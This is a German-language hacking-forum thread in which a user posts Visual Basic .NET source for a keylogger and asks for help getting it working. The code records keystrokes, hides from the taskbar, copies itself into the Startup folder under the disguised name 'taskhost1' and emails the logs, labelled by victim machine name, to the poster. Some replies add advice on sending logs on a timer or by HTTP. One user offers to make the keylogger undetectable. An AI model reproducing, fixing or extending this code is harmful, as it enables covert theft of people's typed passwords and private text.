Register for your free account! | Forgot your password?

Go Back   elitepvpers > Coders Den > .NET Languages
You last visited: Today at 03:50

  • Please register to post and access all features, it's quick, easy and FREE!

Hilfe für Keylogger

Discussion on Hilfe für Keylogger within the .NET Languages forum part of the Coders Den category.

Closed Thread
 
Old   #1
 
elite*gold: 4710
Join Date: Mar 2012
Posts: 1,896
Received Thanks: 472
Hilfe für Keylogger

Hey com,

Ich habe mal versucht einen Keylogger zu coden mithilfe eines Tutorials.


Vorerst:

Ich werde diesen nicht benutzen um andere Leute zu hacken, höchstens paar Freunde aus Spaß^^ Aber der eigentliche Zweck ist um zu sehen, wie sowas funktioniert und wie es aussieht und um mir etwas mehr Wissen über VB anzueignen.

So, dieser Keylogger soll wie alle anderen alle eingtippten Buchstaben notieren. Der Keylogger sollte aber auch die Funktion besitzen sich in den Autostart zu kopieren und danach sollte es mir eine E-Mail mit den Logs(der aufgezeichnete Text) schicken.

Ich bin nun soweit, das der Keylogger im Hintergrund läuft und unter Anwendungen nicht zu sehen ist. Nur unter Prozessen.

Mein Problem ist, das es nicht im Autostart ist und ich bekomme auch keine E-Mails sobald das Programm bzw. der Rechner geschlossen ist.

Ich hoffe ihr könnt mir bei diesem Problem helfen.

Mein Code:
Code:
Imports System.Net
Imports System.Net.Mail
Imports System.Web
Imports System.IO



Public Class Form1
    Dim rtb1 As Object = RichTextBox1
    Dim typein As String
    Private Declare Function GetAsnycKeyState Lib "user32" (ByVal vKey As Integer) As Integer
    Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs)
        For Recorder = 1 To 255
            typein = GetAsnycKeyState(Recorder)
            If typein = -32767 Then
                Select Case Recorder

                    Case 4
                        rtb1.Text += "[RADK]"
                    Case 13
                        rtb1.Text += "[ENTER]"
                    Case 160
                        rtb1.Text += ""
                    Case 161
                        rtb1.Text += ""
                    Case 164
                        rtb1.Text += "[Alt]"
                    Case 165
                        rtb1.Text += "[Alt]"
                    Case 189
                        rtb1.Text += "-"
                    Case 187
                        rtb1.Text += "+"
                    Case 46
                        rtb1.Text += "."
                    Case 16
                        rtb1.Text += "[Shift]"
                    Case 17
                        rtb1.Text += "[Strg]"
                    Case 18
                        rtb1.Text += "[Alt]"
                    Case 21
                        rtb1.Text += " "
                    Case 33
                        rtb1.Text += "!"
                    Case 34
                        rtb1.Text = rtb1.Text + "´´"
                    Case 35
                        rtb1.Text += "#"
                    Case 36
                        rtb1.Text += "$"
                    Case 37
                        rtb1.Text += "%"
                    Case 38
                        rtb1.Text += "&"
                    Case 39
                        rtb1.Text += "'"
                    Case 40
                        rtb1.Text += "("
                    Case 41
                        rtb1.Text += ")"
                    Case 42
                        rtb1.Text += "*"
                    Case 43
                        rtb1.Text += "+"
                    Case 44
                        rtb1.Text += ","
                    Case 45
                        rtb1.Text += "-"
                    Case 46
                        rtb1.Text += "."
                    Case 47
                        rtb1.Text += "/"
                    Case 48
                        rtb1.Text += "0"
                    Case 49
                        rtb1.Text += "1"
                    Case 50
                        rtb1.Text += "2"
                    Case 51
                        rtb1.Text += "3"
                    Case 52
                        rtb1.Text += "4"
                    Case 53
                        rtb1.Text += "5"
                    Case 54
                        rtb1.Text += "6"
                    Case 55
                        rtb1.Text += "7"
                    Case 56
                        rtb1.Text += "8"
                    Case 57
                        rtb1.Text += "9"
                    Case 58
                        rtb1.Text += ":"
                    Case 59
                        rtb1.Text += ";"
                    Case 60
                        rtb1.Text += "<"
                    Case 61
                        rtb1.Text += "="
                    Case 62
                        rtb1.Text += ">"
                    Case 63
                        rtb1.Text += "?"
                    Case 64
                        rtb1.Text += "@"
                    Case 65
                        rtb1.Text += "a"
                    Case 66
                        rtb1.Text += "b"
                    Case 67
                        rtb1.Text += "c"
                    Case 68
                        rtb1.Text += "d"
                    Case 69
                        rtb1.Text += "e"
                    Case 70
                        rtb1.Text += "f"
                    Case 71
                        rtb1.Text += "g"
                    Case 72
                        rtb1.Text += "h"
                    Case 73
                        rtb1.Text += "i"
                    Case 74
                        rtb1.Text += "j"
                    Case 75
                        rtb1.Text += "k"
                    Case 76
                        rtb1.Text += "l"
                    Case 77
                        rtb1.Text += "m"
                    Case 78
                        rtb1.Text += "n"
                    Case 79
                        rtb1.Text += "o"
                    Case 80
                        rtb1.Text += "p"
                    Case 81
                        rtb1.Text += "q"
                    Case 82
                        rtb1.Text += "r"
                    Case 83
                        rtb1.Text += "s"
                    Case 84
                        rtb1.Text += "t"
                    Case 85
                        rtb1.Text += "u"
                    Case 86
                        rtb1.Text += "v"
                    Case 87
                        rtb1.Text += "w"
                    Case 88
                        rtb1.Text += "x"
                    Case 89
                        rtb1.Text += "y"
                    Case 90
                        rtb1.Text += "z"
                    Case 93
                        rtb1.Text += "]"
                    Case 94
                        rtb1.Text += "^"
                    Case 95
                        rtb1.Text += "_"
                    Case 96
                        rtb1.Text += "`"
                    Case 97
                        rtb1.Text += "a"
                    Case 98
                        rtb1.Text += "b"
                    Case 99
                        rtb1.Text += "c"
                    Case 100
                        rtb1.Text += "d"
                    Case 101
                        rtb1.Text += "e"
                    Case 102
                        rtb1.Text += "f"
                    Case 103
                        rtb1.Text += "g"
                    Case 104
                        rtb1.Text += "h"
                    Case 105
                        rtb1.Text += "i"
                    Case 106
                        rtb1.Text += "j"
                    Case 107
                        rtb1.Text += "k"
                    Case 108
                        rtb1.Text += "l"
                    Case 109
                        rtb1.Text += "m"
                    Case 110
                        rtb1.Text += "n"
                    Case 111
                        rtb1.Text += "o"
                    Case 112
                        rtb1.Text += "p"
                    Case 113
                        rtb1.Text += "q"
                    Case 114
                        rtb1.Text += "r"
                    Case 115
                        rtb1.Text += "s"
                    Case 116
                        rtb1.Text += "t"
                    Case 117
                        rtb1.Text += "u"
                    Case 118
                        rtb1.Text += "v"
                    Case 119
                        rtb1.Text += "w"
                    Case 120
                        rtb1.Text += "x"
                    Case 121
                        rtb1.Text += "y"
                    Case 122
                        rtb1.Text += "z"
                    Case 123
                        rtb1.Text += "{"
                    Case 124
                        rtb1.Text += "|"
                    Case 125
                        rtb1.Text += "}"
                    Case 126
                        rtb1.Text += "~"
                    Case 128
                        rtb1.Text += "€"
                    Case 130
                        rtb1.Text += "‚"
                    Case 132
                        rtb1.Text += "„"
                    Case 139
                        rtb1.Text += "‹"
                    Case 145
                        rtb1.Text += "‘"
                    Case 146
                        rtb1.Text += "’"
                    Case 147
                        rtb1.Text += """"
                    Case 148
                        rtb1.Text += """"
                    Case 149
                        rtb1.Text += "•"
                    Case 150
                        rtb1.Text += "–"
                    Case 151
                        rtb1.Text += "—"
                    Case 152
                        rtb1.Text += "˜"
                    Case 155
                        rtb1.Text += "›"
                    Case 161
                        rtb1.Text += "¡"
                    Case 162
                        rtb1.Text += ""
                    Case 163
                        rtb1.Text += ""
                    Case 165
                        rtb1.Text += "¥"
                    Case 166
                        rtb1.Text += "¦"
                    Case 167
                        rtb1.Text += "§"
                    Case 168
                        rtb1.Text += "¨"
                    Case 169
                        rtb1.Text += "©"
                    Case 170
                        rtb1.Text += "ª"
                    Case 171
                        rtb1.Text += "«"
                    Case 174
                        rtb1.Text += "®"
                    Case 175
                        rtb1.Text += "¯"
                    Case 176
                        rtb1.Text += "°"
                    Case 180
                        rtb1.Text += "´"
                    Case 183
                        rtb1.Text += "."
                    Case 184
                        rtb1.Text += "¸"
                    Case 185
                        rtb1.Text += "¹"
                    Case 186
                        rtb1.Text += "ü"
                    Case 187
                        rtb1.Text += "»"
                    Case 188
                        rtb1.Text += ","
                    Case 189
                        rtb1.Text += ":"
                    Case 190
                        rtb1.Text += "."
                    Case 192
                        rtb1.Text += "ö"
                    Case 214
                        rtb1.Text += "Ö"
                    Case 220
                        rtb1.Text += "Ü"
                    Case 222
                        rtb1.Text += "ä"
                    Case 223
                        rtb1.Text += "ß"
                    Case 227
                        rtb1.Text += "<"
                    Case 228
                        rtb1.Text += "ä"
                    Case 230
                        rtb1.Text += "ç"
                    Case 246
                        rtb1.Text += "ö"
                    Case 252
                        rtb1.Text += "ü"




                End Select

            End If

        Next
    End Sub

    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
        Me.Opacity = 10
        Me.ShowInTaskbar = False
        ADDZUAUTOSTART("taskhost1")
    End Sub

    Sub sendtext()
        Dim Nachricht As New MailMessage
        Dim MeineEinst As New System.Net.NetworkCredential
        MeineEinst.UserName = ""
        MeineEinst.Password = "hallo123"

        Nachricht.IsBodyHtml = False
        Dim MeinsmtpServer As New SmtpClient
        MeinsmtpServer.Host = "smtp.web.de"
        MeinsmtpServer.Port = "587"

        MeinsmtpServer.UseDefaultCredentials = False
        MeinsmtpServer.Credentials = MeineEinst

        Nachricht.From = New MailAddress("")
        Nachricht.To.Add("")
        Nachricht.Subject = "Opfer:" + System.Environment.MachineName
        Nachricht.Body = "Von" + (System.Environment.MachineName + "Aufgezeichneter Text" + rtb1.text)
        MeinsmtpServer.Send(Nachricht)


    End Sub

   
    Private Sub Form1_FormClosing(ByVal sender As System.Object, ByVal e As System.Windows.Forms.FormClosingEventArgs) Handles MyBase.FormClosing
        rtb1.Text += "Offline..."
        sendtext()

    End Sub


    Sub ADDZUAUTOSTART(ByVal DateiNameOhneExeEndung As String)
        Try
            If IO.File.Exists(Environment.GetFolderPath(Environment.SpecialFolder.Startup) & "\" & DateiNameOhneExeEndung & ".exe") Then
                rtb1.Text += "Datei ist im Autostart..."
            Else
                My.Computer.FileSystem.CopyFile(DateiNameOhneExeEndung & ".exe", (Environment.GetFolderPath(Environment.SpecialFolder.Startup) & "\" & DateiNameOhneExeEndung & ".exe"))
            End If

        Catch ex As Exception
            EntferneAutostart("csrss")
            rtb1.Text += "Fehler beim Injektieren..."

        End Try
    End Sub

    Sub EntferneAutostart(ByVal DateiNameOhneExeEndung As String)
        Try
            My.Computer.FileSystem.DeleteFile(Environment.GetFolderPath(Environment.SpecialFolder.Startup) & "\" & DateiNameOhneExeEndung & ".exe")
            rtb1.Text += "Entfernt aus Autostart..."
        Catch ex As Exception
            rtb1.Text += "Fehler beim Entfernen..."
        End Try
    End Sub
End Class
FiireLove. is offline  
Thanks
2 Users
Old 05/18/2012, 11:41   #2
 
elite*gold: 0
Join Date: Jan 2012
Posts: 322
Received Thanks: 505
Sowas wird bei e*PvP soweit ich weiß nicht unterstüzt!

Nur zur Info: Es über eine e-Mail zu machen ist total unsicher, da jeder so an deine Logs rankommt...
Außerdem solltest du lieber nen Timer einbauen, der jede halbe Stunde die Logs sendet, da Form1.Closing nur dafür da ist, wenn man das [X] oben rechts drückt!
MissUnderstoodOne is offline  
Old 05/18/2012, 11:43   #3
 
elite*gold: 2932
The Black Market: 169/1/0
Join Date: Oct 2009
Posts: 6,967
Received Thanks: 1,096
Quote:
Originally Posted by FiireLove. View Post
Ich werde diesen nicht benutzen um andere Leute zu hacken, höchstens paar Freunde aus Spaß^^
'hacken'
'Freunde aus Spaß'


vllt sagst du was nicht funktioniert, und für autostart brauchst du meines wissen admin rechte
tolio is offline  
Old 05/18/2012, 12:07   #4
 
elite*gold: 4710
Join Date: Mar 2012
Posts: 1,896
Received Thanks: 472
Quote:
Originally Posted by tolio View Post
'hacken'
'Freunde aus Spaß'


vllt sagst du was nicht funktioniert, und für autostart brauchst du meines wissen admin rechte
Deine Facepalms kannst du dir sparen. Das macht dich nur arrogant.

Wenn du lesen könntest, hättest du meine Probleme schon oben rausgefunden.

Aber nochmal:

Ich kann den Keylogger nicht in den Autostart hinzufügen und bekomme auch keine Logs per E-Mail. Ich habe das an meinem 2. Rechner schon getestet.
FiireLove. is offline  
Thanks
2 Users
Old 05/18/2012, 12:43   #5
 
elite*gold: 2932
The Black Market: 169/1/0
Join Date: Oct 2009
Posts: 6,967
Received Thanks: 1,096
die facepalms kann ich mir nicht sparen weil ich schäme mich als programmierer für dich das du dich hier in der coder ecke rumtreibst! facepalm = fremdscham.

wenn ein programm net funzt musste halt debuggen und schauen warum es nicht funktioniert. Schau ob irgendwo nen fehler kommt und ob die variablen zur runtime richtig gesetzt sind etc
tolio is offline  
Old 05/18/2012, 17:46   #6
 
elite*gold: 0
Join Date: Aug 2007
Posts: 4,044
Received Thanks: 2,551
Quote:
Deine Facepalms kannst du dir sparen. Das macht dich nur arrogant.

ich bin lieber arrogant als ein Scriptkiddy. Wann kapiert ihr endlich, dass Epvp für sowas nicht da ist?
Rainvair is offline  
Old 05/18/2012, 18:52   #7
 
elite*gold: 59
Join Date: Jun 2007
Posts: 374
Received Thanks: 86
Eigentlich unterstütze ich solche Art von Programme auch nicht aber dennoch möchte ich dir etwas allgemeines sagen was dir bei deiner Problemfindung helfen sollte.

Nutze am besten Try & Catch Blöcke damit Fehler davon abgefangen werden können und du eine Fehlermeldung erhälst.
Des Weiteren würde ich mal Haltepunkte mit dem Debugger setzen und diese durch gehen um zu schauen ob alles ordnungsgemäß von statten geht.

Achja und einfach zu sagen dass etwas nicht geht bringt einem meist nicht weiter.
Man sollte immer Fehlermeldungen o.ä. mit posten denn daran erkennt man einfacher die Probleme und muss nicht erst den Code selber ausprobieren.
Devil589 is offline  
Thanks
1 User
Old 05/18/2012, 21:10   #8
 
elite*gold: 6
Join Date: May 2012
Posts: 35
Received Thanks: 12
#Grammarnazi
Es heißt übrigens Injizieren und nicht Injektieren.

...Sorry aber das musste sein
inVasi0n is offline  
Old 05/19/2012, 00:35   #9
 
elite*gold: 4710
Join Date: Mar 2012
Posts: 1,896
Received Thanks: 472
Quote:
Originally Posted by Rainvair View Post

ich bin lieber arrogant als ein Scriptkiddy. Wann kapiert ihr endlich, dass Epvp für sowas nicht da ist?
Vllt bin ich noch neu und hab noch nicht alle regeln gelesen.
FiireLove. is offline  
Old 05/19/2012, 01:22   #10
 
elite*gold: 2932
The Black Market: 169/1/0
Join Date: Oct 2009
Posts: 6,967
Received Thanks: 1,096
500 post und seit 2 monaten registriert und sich dann im forum bewegen ohne die regeln gelesen zu haben, nice!

dafür bekommste von mir nen daumen hoch
tolio is offline  
Old 05/19/2012, 11:50   #11
 
elite*gold: 0
Join Date: Apr 2011
Posts: 351
Received Thanks: 57
Ich würde das Logversenden per httpRequest machen mit ner Anonymail...
Nett, dass du den Code hier für Lehrzwecke gepostest hast und die anderen sollen aufhören ruzuflasmen, auch WhiteHats sollten wissen, wie die bösen Leute "hacken" ....

Ich würde das Logversenden per httpRequest machen mit ner Anonymail...
Nett, dass du den Code hier für Lehrzwecke gepostest hast und die anderen sollen aufhören ruzuflasmen, auch WhiteHats sollten wissen, wie die bösen Leute "hacken" ....

Und wer sagt sowas.unterstützt epvp nicht, sollte man darüber nachdenken, das hier Hack, Bots und andere Tools gibt, die man teilweise bei einer sinngerechten Benutztung als illegal festhalten kann.
qickly is offline  
Thanks
1 User
Old 05/19/2012, 20:47   #12
 
elite*gold: 4710
Join Date: Mar 2012
Posts: 1,896
Received Thanks: 472
Danke an die die auch sinnvolle und hilfreiche Antworten gegeben haben.

Da ich meinen Keylogger jetzt fertig habe, und diesen bald wieder löschen werde OHNE es jemanden zu schicken, kann dieser Thread geschlossen werden.
FiireLove. is offline  
Thanks
2 Users
Old 05/19/2012, 21:53   #13
 
elite*gold: 0
Join Date: Apr 2011
Posts: 351
Received Thanks: 57
FiireLove ich kann dir bisschen bei den Keylogger zum Selbsttest helfen bei dem Loggen und bei dem FUD kriegen....

Dann könntest du dir weiteres Wissen aneignen, um besser gegen Keylogger gerüstet zu sein.
qickly is offline  
Old 05/20/2012, 14:20   #14
 
elite*gold: 0
Join Date: Aug 2007
Posts: 4,044
Received Thanks: 2,551
Quote:
FiireLove ich kann dir bisschen bei den Keylogger zum Selbsttest helfen bei dem Loggen und bei dem FUD kriegen....
Ich wäre ja stark dafür Leute wie dich einfach zu bannen. Deine Seite ist scheiße, dein Obfuscator ist scheiße, die Hilfestellung die du anbietest ist scheiße. Daraus schließe ich, dass du Scheiße bist.
Rainvair is offline  
Thanks
10 Users
Old 05/20/2012, 15:20   #15
 
elite*gold: 0
Join Date: Dec 2007
Posts: 321
Received Thanks: 98
Quote:
Originally Posted by qickly View Post
FiireLove ich kann dir bisschen bei den Keylogger [...] helfen bei dem Loggen und bei dem FUD kriegen....
Mit dieser Aussage hast du dich disqualifiziert. Wenn auch die Chance bisher sehr gering war, dass ich jemals eines deiner tollen "Sicherheitsprogramme" bewusst ausführen würde, ist sie gerade auf exakt Null gesunken.
mydoom is offline  
Closed Thread


Similar Threads Similar Threads
Keylogger hilfe
07/30/2011 - Technical Support - 7 Replies
Hallo, kann mir einer sagen, wie man bemerkt ob man einen keylogger aufm pc hat? weil hab in der letzten zeit viel gedownloadet, und zuvällig geht mein steam acc net mehr. Hab daher mit dem gedanken gespielt das ichn keylogger aufm pc habe.. zeigt das virusprgramm an wen man einen keylogger aufm pc hat? Mfg.
Hilfe Gegen Den Keylogger von SID!!!
12/16/2010 - CrossFire Hacks, Bots, Cheats & Exploits - 12 Replies
hallo :> ich möchte euch ein programm ans herz legen für die wo den keylogger von dem sidtobar oder so ähnlich drauf habn! <.< ich weis man kann es in goggle eingegebn aber dass programm ist 100% genau und sicher Download: http://www.chip.de/downloads/c1_downloads_hs_getfi le_v1_25308466.html?t=1292421977&v=3600& ähm virus total weis ich net wie des geht sry :x
[Hilfe]Keylogger
12/01/2010 - CrossFire - 4 Replies
Hey Elitepvpers. Ich hab letztens bemerkt das in ein Cf Hack ein Keylogger war. Wie werde ich ihn los ? MFG WickeT™
WTF?! Was das? Keylogger??HILFE!!
08/03/2009 - Metin2 Private Server - 2 Replies
Da ich heute mal so richtig neugierig war und im Chat ne Seite gelesen habe bin ich da drauf gegeangen und kam Javascript Virus ...das hat mir AntiVir gemeldet..ich hoffe ma das war kein Keylogger..viele sagen das die seite nen keylogger ist... Die Seite war own3d.es (BITTE NICHT DRAUFGEHN DA VIRUS) Wenn jemand mal so nett wäre könnte er vllt die siete auf iner virus check seite testen..ich kenne mich mit sowas net aus.. BITTE UM HILFE!!!!!



All times are GMT +2. The time now is 03:50.


Powered by vBulletin®
Copyright ©2000 - 2020, Jelsoft Enterprises Ltd.
SEO by vBSEO ©2011, Crawlability, Inc.

BTC: 33E6kMtxYa7dApCFzrS3Jb7U3NrVvo8nsK
ETH: 0xc6ec801B7563A4376751F33b0573308aDa611E05

Support | Contact Us | FAQ | Advertising | Privacy Policy | Terms of Service | Abuse
Copyright ©2020 elitepvpers All Rights Reserved.